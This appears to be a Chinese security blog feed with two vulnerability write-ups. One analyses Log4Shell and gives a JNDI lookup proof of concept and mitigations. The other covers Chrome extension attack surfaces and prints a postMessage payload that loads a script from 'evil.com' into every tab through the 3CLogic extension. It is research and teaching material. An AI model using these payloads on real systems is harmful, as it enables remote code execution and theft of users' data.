11
12
13
package top.bigking.log4j2attack.service;


import lombok.extern.slf4j.Slf4j;

@Slf4j
public class HelloService {
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
log.error("${jndi:rmi://127.0.0.1:1099/ruwsfb}");
}
}

spring-boot 需要把原来的log关掉,加入log4j(这是一个普遍用法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions><!-- 去掉springboot默认配置 -->
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>

<dependency> <!-- 引入log4j2依赖 -->
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

执行即可触发

代码分析

漏洞成因

这里我们正常跟error下去

首先可以看到这里经过了isEnabled的验证,这也是很多朋友info函数无法触发的原因,如果不满足配置,则log不会被记录。

这里一路跟到MessagePatternConverterformat函数

可以看到这次漏洞的入口,如果代码中存在${则会进入额外处理。继续跟下去到StrSubstitutorsubstitute函数

这里就是漏洞发生的主要部分了,基本上是递归处理里面的语法内容,还有一些内置的语法

prefixMatcher是${
suffixMatcher是}

只有搜索到这两部分才会进入语法处理

括号中间的内容被传到varname

并进行两个内置的语法,其中

1
2
3
4
public static final String DEFAULT_VALUE_DELIMITER_STRING = ":-";
public static final StrMatcher DEFAULT_VALUE_DELIMITER = StrMatcher.stringMatcher(":-");
public static final String ESCAPE_DELIMITER_STRING = ":\\-";
public static final StrMatcher DEFAULT_VALUE_ESCAPE_DELIMITER = StrMatcher.stringMatcher(":\\-");

如果匹配到这两个语法,则varname会被修改为对应语法的对应部分(重要绕过)

经过处理的变量,会在418行进入resolveVariable函数

resolveVariable这里则直接根据不同的协议进入相应的lookup,其中jndi.lookup就会导致漏洞

如果执行lookup有返回,则会进入427行的递归处理下一层

而lookup支持的协议也有很多种

包括{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}

如果能顺利的从这个流程走下来,就不难发现整个流程的逻辑问题其实有很多。

一些简单的绕过

前面我们是按照payload为${jndi:rmi://127.0.0.1:1099/ruwsfb}做分析和处理的。

但在代码中,有很多部分都阐述了这里是存在递归处理的,也就是说我们可以如果嵌套${}语法的方式来处理这里的返回。

比如说我们选取lower协议做返回,拼接进入代码中

同样可以执行

包括他内置的特殊语法

前半部分会被当做varname,后半部分会被返回替换原本的结果进入下一次拼接,如此一来又可以构造新的payload。

甚至官方在其中还加了容错代码,如果遇到不满足条件的字符,还会被直接删除。

由于一些特殊的规定,这里我就不公布相关的绕过payload,如果看得懂这部分代码的朋友一定可以很轻松的构造。

2.15.0 rc1 的修复

其实这个漏洞几天前就被发布了更新补丁,之前也关注到了,只是没想到利用的逻辑如此简单。

在整个漏洞掀起全安全圈的风暴时,越来越多的朋友将目光集中到这里。rc1的修复也迎来了绕过,这里的绕过其实还挺有意思的,我们一起来看看补丁。

修复补丁和测试样例又很有意思

简单来说,原本的修复逻辑处理处,想办法使他处理报错,那么原来的catch不会做处理,而是直接走进lookup

:>

修复方案

1、目前Apache官方只发布了2.15.0 rc2并打包了2.15.0的release,没法保证不会被二次绕过,而且据说这个版本兼容度不是很高。
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

2、现在普遍的修复方案主要集中在配置修改上
在项目的 log4j2.component.properties 配置文件中添加配置:

1
log4j2.formatMsgNoLookups = true

要注意的是,这个配置只生效于2.10.0以上。

也可以在java的启动项中添加该配置

1
-Dlog4j2.formatMsgNoLookups=true

3、除此之外可能就要依赖各大WAF了

写在最后

其实这个漏洞在12月6号就更新补丁了,而且在推特传的很广,最开始看到第一反应是不可能有这么严重的问题,肯定是限制重重。结果利用根本就很简单,一下子席卷了整个java届的所有项目。

而作为一个基础组件,这个组件被大多数的java框架/java应用引用,大量的问题一下子被曝光出来。就在下班短短1个小时,payload就已经流传开了,要不是jndi到rce的利用不算简单,估计很多服务一晚上已经沦陷了。

由于厂商还没来得及发布修复后的release,导致这个漏洞初期只能通过waf防御,如果安全运营构建比较差的厂商,估计只能等死,这种感触不经历这样的大洞可能很难感受到吧。(360什么时候涨啊?

🔲 ☆

从0开始入门Chrome Ext安全(三) -- 你所未知的角落 - Chrome Ext安全

在2019年初,微软正式选择了Chromium作为默认浏览器,并放弃edge的发展。并在19年4月8日,Edge正式放出了基于Chromium开发的Edge Dev浏览器,并提供了兼容Chrome Ext的配套插件管理。再加上国内的大小国产浏览器大多都是基于Chromium开发的,Chrome的插件体系越来越影响着广大的人群。

在这种背景下,Chrome Ext的安全问题也应该受到应有的关注,《从0开始入门Chrome Ext安全》就会从最基础的插件开发开始,逐步研究插件本身的恶意安全问题,恶意网页如何利用插件漏洞攻击浏览器等各种视角下的安全问题。

在经历了前两篇之后,我们把视角重新转换,把受害者的目标从使用插件者换到插件本身。对于Chrome ext本身来说,他会有什么样的问题呢?

PS: 当时这份研究是在2020年初做的,当时还在知道创宇的404实验室,感觉内容很有趣所以准备拿去当议题。2020年我想大家都懂的,很多会议都取消了,一拖就拖到2021年,本来打算拿去投KCON,但是没有通过。所以今天就整理整理发出来了~

从一个真实事件开始

在evernote扩展中曾爆出过一个xss漏洞

首先我们从manifest开始,存在问题的js是content js.

image.png-17.1kB

BrowserFrameLoader.js会被直接插入到http、https、ftp三个域内,由于all_frames,还会被直接插入到页面内的每一个iframe子框架下。

其中有这么一段代码比较关键

image.png-27.8kB

这段代码主要通过函数_getBundleUrl来生成要安装的js地址,而其中的e来自于resourcePath参数,这里本身应该通过传入形如chrome-extension://...这样的路径,以生成所需要的js路径。

image-20210817150115998

可以看到_getBundleUrl中本身也没有验证,所以只要我们传入resourcePath为恶意地址,我们就可以通过这个功能把原本的js替换到,改为我们想要注册的js。

image.png-25.4kB

我们可以直接通过window.postMessage与后端沟通,传递消息。

再配合manifest中的all_frames,我们可以通过在某个页面中构造一个隐藏的iframe标签,其中使用window.postMessage传递恶意地址,导致其他页面引入恶意的js。

image.png-81.1kB

这样一来,如果带有这个插件的浏览者访问某个页面时,就会直接被大范围的攻击,那么这个漏洞的具体原理是什么样的呢?

浏览器插件安全逻辑

在研究插件的漏洞之前,首先我们需要从插件的结构和可以攻击的方式来思考。

从0开始入门Chrome Ext安全(一) – 了解一个Chrome Ext

在第一篇文章中,我们曾详细的描述过和chrome有关的诸多信息,其中有很重要的一部分是插件不同层级之间的通信方式,我们把这个结构画出来大概是这样的:

image-20210817150301320

首先我们把插件的结构体系分为三级,分别是Web层、content层、bg层。

其中插件的web层主要是injected script,在这部分中,主要漏洞就围绕js本身,原理上和普通的js漏洞没什么区别,这里就不深入讨论。

content层中,这部分和Web层主要的区别是它可以访问很小一部分chrome api,其中最重要的是,它可以和bg层进行沟通。抛开本身js漏洞不谈,content层最大的特殊就在于它是一个中转层,只有content构造的chrome.runtime.sendMessage可以向后端传递数据。

bg层中,就涉及到了许多的敏感操作了,一旦可以控制bg层中的代码执行,我们几乎相当于控制了整个浏览器,但其中最大的限制仍然是,我们没办法直接操作bg层,浏览器想要操作bg层,就必须通过content层来中转。

-js执行可控点
web层和普通js没有区别
content层除了普通js以外只能访问runtime等少部分api只能通过addEventListener或获取dom输入
bg层可以访问大部分api,但不能访问页面dom只能通过runtime.onmessage.addListener获取输入

当我们在了解了chrome插件结构之后,不难发现,当我们想要利用一个插件漏洞时,首先我们必须从可控出发.

当我们可以控制某个敏感操作的一部分时,我们就有可能构造一次利用,一次完整的利用链就构造成功了。

而对于浏览器来说,符合正常人的逻辑的交互逻辑即为访问某个链接,或者访问某个页面。

建立在这个基础上,通过构造恶意网页、链接,诱导受害人点击,从而开始进行一系列攻击行为则是对于插件安全漏洞的正确利用方向。

而通过访问某个恶意页面配合插件的某个漏洞攻击,只有两个维度可以供我们攻击,在这里我们把这两种攻击方式分为两个维度,基于Content层的安全问题基于bg层的安全问题

在下面我们就将围绕这两个维度来讲述。

基于content script的安全问题

在前面的篇幅中我曾详述过content script的相关信息,content script会把相应的js插入到符合条件的所有页面中,而这个条件会在manifest中被定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"name": "My extension",
...
"content_scripts": [
{
"matches": ["http://*.nytimes.com/*"],
"exclude_matches": ["*://*/*business*"],
"include_globs": ["*nytimes.com/???s/*"],
"exclude_globs": ["*science*"],
"all_frames": true,
"js": ["contentScript.js"],
"run_at": "document_idle"
}
],
...
}

其中几个参顺相对应的配置为:

  • matches: 匹配生效的域
  • exclued_matches: 不匹配生效的域
  • include_globs: 在前两项匹配之后生效的匹配关键字
  • exclude_globs: 在前两项匹配之后生效的排除关键字
  • all_frames: content script是否会插入到页面的iframe标签中
  • run_at: 指content script插入的时机

Content层和Web层是通过事件监听的方式沟通的:

image-20210817150722902

这样一来,Content层的安全问题就有了几个绕不开的特点:

  • 攻击者只能通过window.postMessage与后端沟通,传递消息。
  • 如果只能触发Content Script的漏洞,那么只影响当前Web Page,与XSS漏洞无异
  • 如果开启了all_frame,配合特殊场景可以影响所有的子frame,就可以定向攻击任何域

Content层面的的问题因为逃不开诸多的限制,所以危害比较有限,前面的evernote的漏洞已经是非常厉害的一个漏洞了。

基于bg层的安全问题

image-20210817165335661

与content层漏洞最大的区别就是,我们没办法直接和bg/popup层交互,除非本身的逻辑有安全问题。但如果能造成任意代码执行,可能可以通过chrome API威胁整个浏览器的各个方面

那么这类漏洞的关键点就在于,不管后端存不存在有问题的API,在content script层有可控的chrome.tabs.sendMessage信息向pop/popup script传输是这类漏洞首先必备的基础条件

中转函数

而在部分插件代码中,content script设置中转代码也并不罕见。正所谓,上有对策,下有政策。为安全性考量的而设置的限制,也实实在在的影响到了原本的插件开发者。所以开发插件的开发者也通过自己的方式来构造直接传输的通道。

在3CLogic Universal CTI插件中就有这样的一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
window.addEventListener("message", function (event) {
try {
// Accept messages from this window only
if (typeof (event.data) !== "string") return;
// Send convert string back to object for passing it to the extension
const data = JSON.parse(event.data);
// adding cccce so that this message doesn't mix with messages from other windows
if (data.method && data.method !== "onCTIAdapterMessage") {
data.method = `ccce${data.method}`;
} else {
ccclogger.log(`Got Adaptor Message`);
}
window.chrome.extension.sendMessage(data,
function (response) {
ccclogger.log(response);
});
} catch (e) {
ccclogger.warn(e, e.stack);
}
});

这段代码会把接收到的消息通过window.chrome.extension.sendMessage转发出去。

通过这样的代码我们就可以直接和popup/bg 层沟通,也代表我们有一定的可能构造一个利用。

恶意函数

反之,我们也可以从利用的角度思考,popup/bg script没办法直接和页面沟通,换言之,也就是说如果在popup/bg script中存在可以被利用的点,一定是来源于相应的恶意函数。

而其中相应的恶意函数只有几个,分别是:

1
2
3
4
5
chrome.tabs.executeScript
chrome.tabs.update

eval
setTimeout

executeScript可以在任意页面执行代码,而update函数可以更新页面中的信息,包括url等,eval和setTimeout可以执行插件代码,但也同样会被可能会受到CSP的限制。

从利用的角度来讲,只有popup/bg script存在这样的函数,并且参数可控,那么才有可能诞生一个漏洞。

举个栗子 - 3CLogic Universal CTI XSS

首先根据manifest的内容可以知道,这个插件可以通过构造的方式生效在任意域下。

image-20210817171905056

Content层也存在可控的中转函数

image-20210817173049880

Bg层接收到消息之后,触发processMessage函数

image-20210817173424538

processMessage函数根据传入的操作类型转到相应的接口。其中就包含可以给任意tag插入js的sendInjectEvent函数

image-20210817173539993

sendInjectEvent会将传入的参数拼接到函数内,并通过创建标签的方式为指定的tag新建标签。

image-20210817173656585

整个利用链被链接起来,简化为:

1、构造恶意页面在“*://*/*3cphone.html*”,受害者访问该页面/将链接植入到某个点击劫持/URL跳转/。
2、打开其他目标页面如微博、twitter等。
3、恶意页面发送

1
2
3
4
5
6
window.postMessage(JSON.stringify({
“method”: “OnInjectScript”,
“forSite”: “.”,
“selectedLibs": [
https://evil.com/evil.js
]}), "*")

4、恶意JS被插入到所有的tag中,我们就可以在任意目标域执行JS,如获取微博消息等。

写在最后

其实可以把整个漏洞分成两部分,寻找中转函数和寻找恶意函数,如果找到满足两个同时条件的情况,再辅以一些人工基本上就能找到一个漏洞。当时也是把这个思路贯彻到KunLun-M上,我会利用工具寻找两个条件的代码,然后做人工审计,当时还是发现了一些漏洞的,后来觉得挖掘需要一定的成本,而且我也没打算拿来作恶,所以这些漏洞也就用不太上,于是后来打算拿出来当议题。(3CL这个漏洞是我挖掘的通用性最高的,同时危害也不算太大)

当时这份研究是在2020年初做的,当时还在知道创宇的404实验室,感觉内容很有趣所以准备拿去当议题。2020年我想大家都懂的,很多会议都取消了,一拖就拖到2021年,本来打算拿去投KCON,但是没有通过。有趣的是在DEFCON2021的一个议题中,提到了差不多的内容。

Barak Sternberg - Extension-Land - exploits and rootkits in your browser extensions

除了我的部分内容以外呢,他还提了几个不算太常见的攻击场景,感兴趣可以去看看(但我感觉他把一个简单的东西讲复杂了,这违背了的行文意愿)。因为这个我也没兴趣继续保留这份成果了,今天也公开出来,其中可能有很多老的东西。但是其实也很少有系统的分享插件安全思路的文章,希望这篇文章可以给你带来收获。

❌